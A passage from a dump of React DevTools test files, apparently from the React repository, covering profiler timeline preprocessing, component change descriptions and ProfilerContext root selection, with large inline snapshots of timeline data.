preprocessData([\n              cpuProfilerSample,\n              ...createBoilerplateEntries(),\n              ...testMarks,\n            ]);\n\n            data.schedulingEvents.forEach(event => {\n              expect(event.warning).toBeNull();\n            });\n          });\n        });\n\n        describe('errors thrown while rendering', () => {\n          // @reactVersion >= 18.0\n          // @reactVersion < 19.2\n          it('shoult parse Errors thrown during render', async () => {\n            jest.spyOn(console, 'error');\n\n            class ErrorBoundary extends React.Component {\n              state = {error: null};\n              componentDidCatch(error) {\n                this.setState({error});\n              }\n              render() {\n                if (this.state.error) {\n                  return null;\n                }\n                return this.props.children;\n              }\n            }\n\n            function ExampleThatThrows() {\n              throw Error('Expected error');\n            }\n\n            const testMarks = [creactCpuProfilerSample()];\n\n            // Mount and commit the app\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() =>\n              root.render(\n                <ErrorBoundary>\n                  <ExampleThatThrows />\n                </ErrorBoundary>,\n              ),\n            );\n\n            testMarks.push(...createUserTimingData(registeredMarks));\n\n            const data = await preprocessData(testMarks);\n            expect(data.thrownErrors).toHaveLength(2);\n            expect(data.thrownErrors[0].message).toMatchInlineSnapshot(\n              '\"Expected error\"',\n            );\n          });\n        });\n\n        describe('suspend during an update', () => {\n          // This also tests an edge case where a component suspends while profiling\n          // before the first commit is logged (so the lane-to-labels map will not yet exist).\n          // @reactVersion >= 18.2\n          // @reactVersion < 19.2\n          it('should warn about suspending during an update', async () => {\n            let promise = null;\n            let resolvedValue = null;\n            function readValue(value) {\n              if (React.use) {\n                if (promise === null) {\n                  promise = Promise.resolve(true).then(() => {\n                    return value;\n                  });\n                }\n                return React.use(promise);\n              }\n              if (resolvedValue !== null) {\n                return resolvedValue;\n              } else if (promise === null) {\n                promise = Promise.resolve(true).then(() => {\n                  resolvedValue = value;\n                });\n              }\n              throw promise;\n            }\n\n            function Component({shouldSuspend}) {\n              Scheduler.log(`Component ${shouldSuspend}`);\n              if (shouldSuspend) {\n                readValue(123);\n              }\n              return null;\n            }\n\n            // Mount and commit the app\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() =>\n              root.render(\n                <React.Suspense fallback=\"Loading...\">\n                  <Component shouldSuspend={false} />\n                </React.Suspense>,\n              ),\n            );\n\n            const testMarks = [creactCpuProfilerSample()];\n\n            // Start profiling and suspend during a render.\n            utils.act(() =>\n              root.render(\n                <React.Suspense fallback=\"Loading...\">\n                  <Component shouldSuspend={true} />\n                </React.Suspense>,\n              ),\n            );\n\n            testMarks.push(...createUserTimingData(registeredMarks));\n\n            let data;\n            await utils.actAsync(async () => {\n              data = await preprocessData(testMarks);\n            });\n            expect(data.suspenseEvents).toHaveLength(1);\n            expect(data.suspenseEvents[0].warning).toMatchInlineSnapshot(\n              `\"A component suspended during an update which caused a fallback to be shown. Consider using the Transition API to avoid hiding components after they've been mounted.\"`,\n            );\n          });\n\n          // @reactVersion >= 18.2\n          // @reactVersion < 19.2\n          it('should not warn about suspending during an transition', async () => {\n            let promise = null;\n            let resolvedValue = null;\n            function readValue(value) {\n              if (React.use) {\n                if (promise === null) {\n                  promise = Promise.resolve(true).then(() => {\n                    return value;\n                  });\n                }\n                return React.use(promise);\n              }\n              if (resolvedValue !== null) {\n                return resolvedValue;\n              } else if (promise === null) {\n                promise = Promise.resolve(true).then(() => {\n                  resolvedValue = value;\n                });\n              }\n              throw promise;\n            }\n\n            function Component({shouldSuspend}) {\n              Scheduler.log(`Component ${shouldSuspend}`);\n              if (shouldSuspend) {\n                readValue(123);\n              }\n              return null;\n            }\n\n            // Mount and commit the app\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() =>\n              root.render(\n                <React.Suspense fallback=\"Loading...\">\n                  <Component shouldSuspend={false} />\n                </React.Suspense>,\n              ),\n            );\n\n            const testMarks = [creactCpuProfilerSample()];\n\n            // Start profiling and suspend during a render.\n            await utils.actAsync(async () =>\n              React.startTransition(() =>\n                root.render(\n                  <React.Suspense fallback=\"Loading...\">\n                    <Component shouldSuspend={true} />\n                  </React.Suspense>,\n                ),\n              ),\n            );\n\n            testMarks.push(...createUserTimingData(registeredMarks));\n\n            let data;\n            await utils.actAsync(async () => {\n              data = await preprocessData(testMarks);\n            });\n            expect(data.suspenseEvents).toHaveLength(1);\n            expect(data.suspenseEvents[0].warning).toBe(null);\n          });\n        });\n      });\n\n      // TODO: Add test for snapshot base64 parsing\n\n      // TODO: Add test for flamechart parsing\n    });\n  });\n\n  // Note the in-memory tests vary slightly (e.g. timestamp values, lane numbers) from the above tests.\n  // That's okay; the important thing is the lane-to-label matches the subsequent events/measures.\n  describe('DevTools hook (in memory)', () => {\n    let store;\n\n    beforeEach(() => {\n      utils = require('./utils');\n      utils.beforeEachProfiling();\n\n      React = require('react');\n      ReactDOM = require('react-dom');\n      ReactDOMClient = require('react-dom/client');\n      Scheduler = require('scheduler');\n\n      store = global.store;\n\n      // Start profiling so that data will actually be recorded.\n      utils.act(() => store.profilerStore.startProfiling());\n\n      global.IS_REACT_ACT_ENVIRONMENT = true;\n    });\n\n    const {render: legacyRender} = getLegacyRenderImplementation();\n\n    // @reactVersion <= 18.2\n    // @reactVersion >= 18.0\n    it('should process a sample legacy render sequence', async () => {\n      legacyRender(<div />);\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const data = store.profilerStore.profilingData?.timelineData;\n      expect(data).toHaveLength(1);\n      const timelineData = data[0];\n      expect(timelineData).toMatchInlineSnapshot(`\n        {\n          \"batchUIDToMeasuresMap\": Map {\n            1 => [\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000000001\",\n                \"timestamp\": 10,\n                \"type\": \"render-idle\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000000001\",\n                \"timestamp\": 10,\n                \"type\": \"render\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000000001\",\n                \"timestamp\": 10,\n                \"type\": \"commit\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 1,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000000001\",\n                \"timestamp\": 10,\n                \"type\": \"layout-effects\",\n              },\n            ],\n          },\n          \"componentMeasures\": [],\n          \"duration\": 20,\n          \"flamechart\": [],\n          \"internalModuleSourceToRanges\": Map {},\n          \"laneToLabelMap\": Map {\n            1 => \"Sync\",\n            2 => \"InputContinuousHydration\",\n            4 => \"InputContinuous\",\n            8 => \"DefaultHydration\",\n            16 => \"Default\",\n            32 => \"TransitionHydration\",\n            64 => \"Transition\",\n            128 => \"Transition\",\n            256 => \"Transition\",\n            512 => \"Transition\",\n            1024 => \"Transition\",\n            2048 => \"Transition\",\n            4096 => \"Transition\",\n            8192 => \"Transition\",\n            16384 => \"Transition\",\n            32768 => \"Transition\",\n            65536 => \"Transition\",\n            131072 => \"Transition\",\n            262144 => \"Transition\",\n            524288 => \"Transition\",\n            1048576 => \"Transition\",\n            2097152 => \"Transition\",\n            4194304 => \"Retry\",\n            8388608 => \"Retry\",\n            16777216 => \"Retry\",\n            33554432 => \"Retry\",\n            67108864 => \"Retry\",\n            134217728 => \"SelectiveHydration\",\n            268435456 => \"IdleHydration\",\n            536870912 => \"Idle\",\n            1073741824 => \"Offscreen\",\n          },\n          \"laneToReactMeasureMap\": Map {\n            1 => [\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000000001\",\n                \"timestamp\": 10,\n                \"type\": \"render-idle\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000000001\",\n                \"timestamp\": 10,\n                \"type\": \"render\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000000001\",\n                \"timestamp\": 10,\n                \"type\": \"commit\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 1,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000000001\",\n                \"timestamp\": 10,\n                \"type\": \"layout-effects\",\n              },\n            ],\n            2 => [],\n            4 => [],\n            8 => [],\n            16 => [],\n            32 => [],\n            64 => [],\n            128 => [],\n            256 => [],\n            512 => [],\n            1024 => [],\n            2048 => [],\n            4096 => [],\n            8192 => [],\n            16384 => [],\n            32768 => [],\n            65536 => [],\n            131072 => [],\n            262144 => [],\n            524288 => [],\n            1048576 => [],\n            2097152 => [],\n            4194304 => [],\n            8388608 => [],\n            16777216 => [],\n            33554432 => [],\n            67108864 => [],\n            134217728 => [],\n            268435456 => [],\n            536870912 => [],\n            1073741824 => [],\n          },\n          \"nativeEvents\": [],\n          \"networkMeasures\": [],\n          \"otherUserTimingMarks\": [],\n          \"reactVersion\": \"<filtered-version>\",\n          \"schedulingEvents\": [\n            {\n              \"lanes\": \"0b0000000000000000000000000000001\",\n              \"timestamp\": 10,\n              \"type\": \"schedule-render\",\n              \"warning\": null,\n            },\n          ],\n          \"snapshotHeight\": 0,\n          \"snapshots\": [],\n          \"startTime\": -10,\n          \"suspenseEvents\": [],\n          \"thrownErrors\": [],\n        }\n      `);\n    });\n\n    // @reactVersion >= 19.1\n    // @reactVersion < 19.2\n    it('should process a sample createRoot render sequence', async () => {\n      function App() {\n        const [didMount, setDidMount] = React.useState(false);\n        React.useEffect(() => {\n          if (!didMount) {\n            setDidMount(true);\n          }\n        });\n        return true;\n      }\n\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      utils.act(() => root.render(<App />));\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const data = store.profilerStore.profilingData?.timelineData;\n      expect(data).toHaveLength(1);\n      const timelineData = data[0];\n\n      // normalize the location for component stack source\n      // for snapshot testing\n      timelineData.schedulingEvents.forEach(event => {\n        if (event.componentStack) {\n          event.componentStack = normalizeCodeLocInfo(event.componentStack);\n        }\n      });\n\n      expect(timelineData).toMatchInlineSnapshot(`\n        {\n          \"batchUIDToMeasuresMap\": Map {\n            1 => [\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"render-idle\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"render\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"commit\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"passive-effects\",\n              },\n            ],\n            2 => [\n              {\n                \"batchUID\": 2,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"render-idle\",\n              },\n              {\n                \"batchUID\": 2,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"render\",\n              },\n              {\n                \"batchUID\": 2,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"commit\",\n              },\n              {\n                \"batchUID\": 2,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"passive-effects\",\n              },\n            ],\n          },\n          \"componentMeasures\": [\n            {\n              \"componentName\": \"App\",\n              \"duration\": 0,\n              \"timestamp\": 10,\n              \"type\": \"render\",\n              \"warning\": null,\n            },\n            {\n              \"componentName\": \"App\",\n              \"duration\": 0,\n              \"timestamp\": 10,\n              \"type\": \"passive-effect-mount\",\n              \"warning\": null,\n            },\n            {\n              \"componentName\": \"App\",\n              \"duration\": 0,\n              \"timestamp\": 10,\n              \"type\": \"render\",\n              \"warning\": null,\n            },\n            {\n              \"componentName\": \"App\",\n              \"duration\": 0,\n              \"timestamp\": 10,\n              \"type\": \"passive-effect-mount\",\n              \"warning\": null,\n            },\n          ],\n          \"duration\": 20,\n          \"flamechart\": [],\n          \"internalModuleSourceToRanges\": Map {},\n          \"laneToLabelMap\": Map {\n            1 => \"SyncHydrationLane\",\n            2 => \"Sync\",\n            4 => \"InputContinuousHydration\",\n            8 => \"InputContinuous\",\n            16 => \"DefaultHydration\",\n            32 => \"Default\",\n            64 => undefined,\n            128 => \"TransitionHydration\",\n            256 => \"Transition\",\n            512 => \"Transition\",\n            1024 => \"Transition\",\n            2048 => \"Transition\",\n            4096 => \"Transition\",\n            8192 => \"Transition\",\n            16384 => \"Transition\",\n            32768 => \"Transition\",\n            65536 => \"Transition\",\n            131072 => \"Transition\",\n            262144 => \"Transition\",\n            524288 => \"Transition\",\n            1048576 => \"Transition\",\n            2097152 => \"Transition\",\n            4194304 => \"Retry\",\n            8388608 => \"Retry\",\n            16777216 => \"Retry\",\n            33554432 => \"Retry\",\n            67108864 => \"SelectiveHydration\",\n            134217728 => \"IdleHydration\",\n            268435456 => \"Idle\",\n            536870912 => \"Offscreen\",\n            1073741824 => \"Deferred\",\n          },\n          \"laneToReactMeasureMap\": Map {\n            1 => [],\n            2 => [],\n            4 => [],\n            8 => [],\n            16 => [],\n            32 => [\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"render-idle\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"render\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"commit\",\n              },\n              {\n                \"batchUID\": 1,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"passive-effects\",\n              },\n              {\n                \"batchUID\": 2,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"render-idle\",\n              },\n              {\n                \"batchUID\": 2,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"render\",\n              },\n              {\n                \"batchUID\": 2,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"commit\",\n              },\n              {\n                \"batchUID\": 2,\n                \"depth\": 0,\n                \"duration\": 0,\n                \"lanes\": \"0b0000000000000000000000000100000\",\n                \"timestamp\": 10,\n                \"type\": \"passive-effects\",\n              },\n            ],\n            64 => [],\n            128 => [],\n            256 => [],\n            512 => [],\n            1024 => [],\n            2048 => [],\n            4096 => [],\n            8192 => [],\n            16384 => [],\n            32768 => [],\n            65536 => [],\n            131072 => [],\n            262144 => [],\n            524288 => [],\n            1048576 => [],\n            2097152 => [],\n            4194304 => [],\n            8388608 => [],\n            16777216 => [],\n            33554432 => [],\n            67108864 => [],\n            134217728 => [],\n            268435456 => [],\n            536870912 => [],\n            1073741824 => [],\n          },\n          \"nativeEvents\": [],\n          \"networkMeasures\": [],\n          \"otherUserTimingMarks\": [],\n          \"reactVersion\": \"<filtered-version>\",\n          \"schedulingEvents\": [\n            {\n              \"lanes\": \"0b0000000000000000000000000100000\",\n              \"timestamp\": 10,\n              \"type\": \"schedule-render\",\n              \"warning\": null,\n            },\n            {\n              \"componentName\": \"App\",\n              \"componentStack\": \"\n            in App (at **)\",\n              \"lanes\": \"0b0000000000000000000000000100000\",\n              \"timestamp\": 10,\n              \"type\": \"schedule-state-update\",\n              \"warning\": null,\n            },\n          ],\n          \"snapshotHeight\": 0,\n          \"snapshots\": [],\n          \"startTime\": -10,\n          \"suspenseEvents\": [],\n          \"thrownErrors\": [],\n        }\n      `);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/profilerChangeDescriptions-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('Profiler change descriptions', () => {\n  let React;\n  let store;\n  let utils;\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.recordChangeDescriptions = true;\n\n    React = require('react');\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  // @reactVersion >=18.0\n  it('should identify useContext as the cause for a re-render', () => {\n    const Context = React.createContext(0);\n\n    function Child() {\n      const context = React.useContext(Context);\n      return context;\n    }\n\n    function areEqual() {\n      return true;\n    }\n\n    const MemoizedChild = React.memo(Child, areEqual);\n    const ForwardRefChild = React.forwardRef(\n      function RefForwardingComponent(props, ref) {\n        return <Child />;\n      },\n    );\n\n    let forceUpdate = null;\n\n    const App = function App() {\n      const [val, dispatch] = React.useReducer(x => x + 1, 0);\n\n      forceUpdate = dispatch;\n\n      return (\n        <Context.Provider value={val}>\n          <Child />\n          <MemoizedChild />\n          <ForwardRefChild />\n        </Context.Provider>\n      );\n    };\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => render(<App />));\n    utils.act(() => forceUpdate());\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n    const commitData = store.profilerStore.getCommitData(rootID, 1);\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Context.Provider>\n              <Child>\n            ▾ <Child> [Memo]\n                <Child>\n            ▾ <RefForwardingComponent> [ForwardRef]\n                <Child>\n    `);\n\n    let element = store.getElementAtIndex(2);\n    expect(element.displayName).toBe('Child');\n    expect(element.hocDisplayNames).toBeNull();\n    expect(commitData.changeDescriptions.get(element.id))\n      .toMatchInlineSnapshot(`\n      {\n        \"context\": true,\n        \"didHooksChange\": false,\n        \"hooks\": [],\n        \"isFirstMount\": false,\n        \"props\": [],\n        \"state\": null,\n      }\n    `);\n\n    element = store.getElementAtIndex(3);\n    expect(element.displayName).toBe('Child');\n    expect(element.hocDisplayNames).toEqual(['Memo']);\n    expect(commitData.changeDescriptions.get(element.id)).toBeUndefined();\n\n    element = store.getElementAtIndex(4);\n    expect(element.displayName).toBe('Child');\n    expect(element.hocDisplayNames).toBeNull();\n    expect(commitData.changeDescriptions.get(element.id))\n      .toMatchInlineSnapshot(`\n      {\n        \"context\": true,\n        \"didHooksChange\": false,\n        \"hooks\": [],\n        \"isFirstMount\": false,\n        \"props\": [],\n        \"state\": null,\n      }\n    `);\n\n    element = store.getElementAtIndex(5);\n    expect(element.displayName).toBe('RefForwardingComponent');\n    expect(element.hocDisplayNames).toEqual(['ForwardRef']);\n    expect(commitData.changeDescriptions.get(element.id))\n      .toMatchInlineSnapshot(`\n      {\n        \"context\": false,\n        \"didHooksChange\": false,\n        \"hooks\": [],\n        \"isFirstMount\": false,\n        \"props\": [],\n        \"state\": null,\n      }\n    `);\n\n    element = store.getElementAtIndex(6);\n    expect(element.displayName).toBe('Child');\n    expect(element.hocDisplayNames).toBeNull();\n    expect(commitData.changeDescriptions.get(element.id))\n      .toMatchInlineSnapshot(`\n      {\n        \"context\": true,\n        \"didHooksChange\": false,\n        \"hooks\": [],\n        \"isFirstMount\": false,\n        \"props\": [],\n        \"state\": null,\n      }\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/profilerContext-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof ReactTestRenderer from 'react-test-renderer';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {Context} from 'react-devtools-shared/src/devtools/views/Profiler/ProfilerContext';\nimport type {DispatcherContext} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('ProfilerContext', () => {\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let TestRenderer: ReactTestRenderer;\n  let bridge: FrontendBridge;\n  let legacyRender;\n  let store: Store;\n  let utils;\n\n  let BridgeContext;\n  let ProfilerContext;\n  let ProfilerContextController;\n  let StoreContext;\n  let TreeContextController;\n  let TreeDispatcherContext;\n  let TreeStateContext;\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    legacyRender = utils.legacyRender;\n\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.recordChangeDescriptions = true;\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    TestRenderer = utils.requireTestRenderer();\n\n    BridgeContext =\n      require('react-devtools-shared/src/devtools/views/context').BridgeContext;\n    ProfilerContext =\n      require('react-devtools-shared/src/devtools/views/Profiler/ProfilerContext').ProfilerContext;\n    ProfilerContextController =\n      require('react-devtools-shared/src/devtools/views/Profiler/ProfilerContext').ProfilerContextController;\n    StoreContext =\n      require('react-devtools-shared/src/devtools/views/context').StoreContext;\n    TreeContextController =\n      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeContextController;\n    TreeDispatcherContext =\n      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeDispatcherContext;\n    TreeStateContext =\n      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeStateContext;\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  const Contexts = ({\n    children = null,\n    defaultInspectedElementID = null,\n    defaultInspectedElementIndex = null,\n  }: any) => (\n    <BridgeContext.Provider value={bridge}>\n      <StoreContext.Provider value={store}>\n        <TreeContextController\n          defaultInspectedElementID={defaultInspectedElementID}\n          defaultInspectedElementIndex={defaultInspectedElementIndex}>\n          <ProfilerContextController>{children}</ProfilerContextController>\n        </TreeContextController>\n      </StoreContext.Provider>\n    </BridgeContext.Provider>\n  );\n\n  // @reactVersion <= 18.2\n  // @reactVersion >= 18.0\n  it('updates updates profiling support based on the attached roots (legacy render)', async () => {\n    const Component = () => null;\n\n    let context: Context = ((null: any): Context);\n\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n    await utils.actAsync(() => {\n      TestRenderer.create(\n        <Contexts>\n          <ContextReader />\n        </Contexts>,\n      );\n    });\n\n    expect(context.supportsProfiling).toBe(false);\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n\n    await utils.actAsync(() => legacyRender(<Component />, containerA));\n    expect(context.supportsProfiling).toBe(true);\n\n    await utils.actAsync(() => legacyRender(<Component />, containerB));\n    await utils.actAsync(() => ReactDOM.unmountComponentAtNode(containerA));\n    expect(context.supportsProfiling).toBe(true);\n\n    await utils.actAsync(() => ReactDOM.unmountComponentAtNode(containerB));\n    expect(context.supportsProfiling).toBe(false);\n  });\n\n  // @reactVersion >= 18\n  it('updates updates profiling support based on the attached roots (createRoot)', async () => {\n    const Component = () => null;\n\n    let context: Context = ((null: any): Context);\n\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n    await utils.actAsync(() => {\n      TestRenderer.create(\n        <Contexts>\n          <ContextReader />\n        </Contexts>,\n      );\n    });\n\n    expect(context.supportsProfiling).toBe(false);\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n\n    const rootA = ReactDOMClient.createRoot(containerA);\n    const rootB = ReactDOMClient.createRoot(containerB);\n\n    await utils.actAsync(() => rootA.render(<Component />));\n    expect(context.supportsProfiling).toBe(true);\n\n    await utils.actAsync(() => rootB.render(<Component />));\n    await utils.actAsync(() => rootA.unmount());\n    expect(context.supportsProfiling).toBe(true);\n\n    await utils.actAsync(() => rootB.unmount());\n    expect(context.supportsProfiling).toBe(false);\n  });\n\n  it('should gracefully handle an empty profiling session (with no recorded commits)', async () => {\n    const Example = () => null;\n\n    utils.act(() => render(<Example />));\n\n    let context: Context = ((null: any): Context);\n\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n\n    // Profile but don't record any updates.\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => {\n      TestRenderer.create(\n        <Contexts>\n          <ContextReader />\n        </Contexts>,\n      );\n    });\n    expect(context).not.toBeNull();\n    expect(context.didRecordCommits).toBe(false);\n    expect(context.isProcessingData).toBe(false);\n    expect(context.isProfiling).toBe(true);\n    expect(context.profilingData).toBe(null);\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    expect(context).not.toBeNull();\n    expect(context.didRecordCommits).toBe(false);\n    expect(context.isProcessingData).toBe(false);\n    expect(context.isProfiling).toBe(false);\n    expect(context.profilingData).toBe(null);\n  });\n\n  // @reactVersion <= 18.2\n  // @reactVersion >= 18.0\n  it('should auto-select the root ID matching the Components tab selection if it has profiling data (legacy render)', async () => {\n    const Parent = () => <Child />;\n    const Child = () => null;\n\n    const containerOne = document.createElement('div');\n    const containerTwo = document.createElement('div');\n    utils.act(() => legacyRender(<Parent />, containerOne));\n    utils.act(() => legacyRender(<Parent />, containerTwo));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child>\n      [root]\n        ▾ <Parent>\n            <Child>\n    `);\n\n    // Profile and record updates to both roots.\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => legacyRender(<Parent />, containerOne));\n    await utils.actAsync(() => legacyRender(<Parent />, containerTwo));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    let context: Context = ((null: any): Context);\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n\n    // Select an element within the second root.\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts\n          defaultInspectedElementID={store.getElementIDAtIndex(3)}\n          defaultInspectedElementIndex={3}>\n          <ContextReader />\n        </Contexts>,\n      ),\n    );\n\n    expect(context).not.toBeNull();\n    expect(context.rootID).toBe(\n      store.getRootIDForElement(((store.getElementIDAtIndex(3): any): number)),\n    );\n  });\n\n  // @reactVersion >= 18\n  it('should auto-select the root ID matching the Components tab selection if it has profiling data (createRoot)', async () => {\n    const Parent = () => <Child />;\n    const Child = () => null;\n\n    const containerOne = document.createElement('div');\n    const containerTwo = document.createElement('div');\n\n    const rootOne = ReactDOMClient.createRoot(containerOne);\n    const rootTwo = ReactDOMClient.createRoot(containerTwo);\n\n    utils.act(() => rootOne.render(<Parent />));\n    utils.act(() => rootTwo.render(<Parent />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child>\n      [root]\n        ▾ <Parent>\n            <Child>\n    `);\n\n    // Profile and record updates to both roots.\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => rootOne.render(<Parent />));\n    await utils.actAsync(() => rootTwo.render(<Parent />));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    let context: Context = ((null: any): Context);\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n\n    // Select an element within the second root.\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts\n          defaultInspectedElementID={store.getElementIDAtIndex(3)}\n          defaultInspectedElementIndex={3}>\n          <ContextReader />\n        </Contexts>,\n      ),\n    );\n\n    expect(context).not.toBeNull();\n    expect(context.rootID).toBe(\n      store.getRootIDForElement(((store.getElementIDAtIndex(3): any): number)),\n    );\n  });\n\n  // @reactVersion <= 18.2\n  // @reactVersion >= 18.0\n  it('should not select the root ID matching the Components tab selection if it has no profiling data (legacy render)', async () => {\n    const Parent = () => <Child />;\n    const Child = () => null;\n\n    const containerOne = document.createElement('div');\n    const containerTwo = document.createElement('div');\n    utils.act(() => legacyRender(<Parent />, containerOne));\n    utils.act(() => legacyRender(<Parent />, containerTwo));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child>\n      [root]\n        ▾ <Parent>\n            <Child>\n    `);\n\n    // Profile and record updates to only the first root.\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => legacyRender(<Parent />, containerOne));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    let context: Context = ((null: any): Context);\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n\n    // Select an element within the second root.\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts\n          defaultInspectedElementID={store.getElementIDAtIndex(3)}\n          defaultInspectedElementIndex={3}>\n          <ContextReader />\n        </Contexts>,\n      ),\n    );\n\n    // Verify the default profiling root is the first one.\n    expect(context).not.toBeNull();\n    expect(context.rootID).toBe(\n      store.getRootIDForElement(((store.getElementIDAtIndex(0): any): number)),\n    );\n  });\n\n  // @reactVersion >= 18\n  it('should not select the root ID matching the Components tab selection if it has no profiling 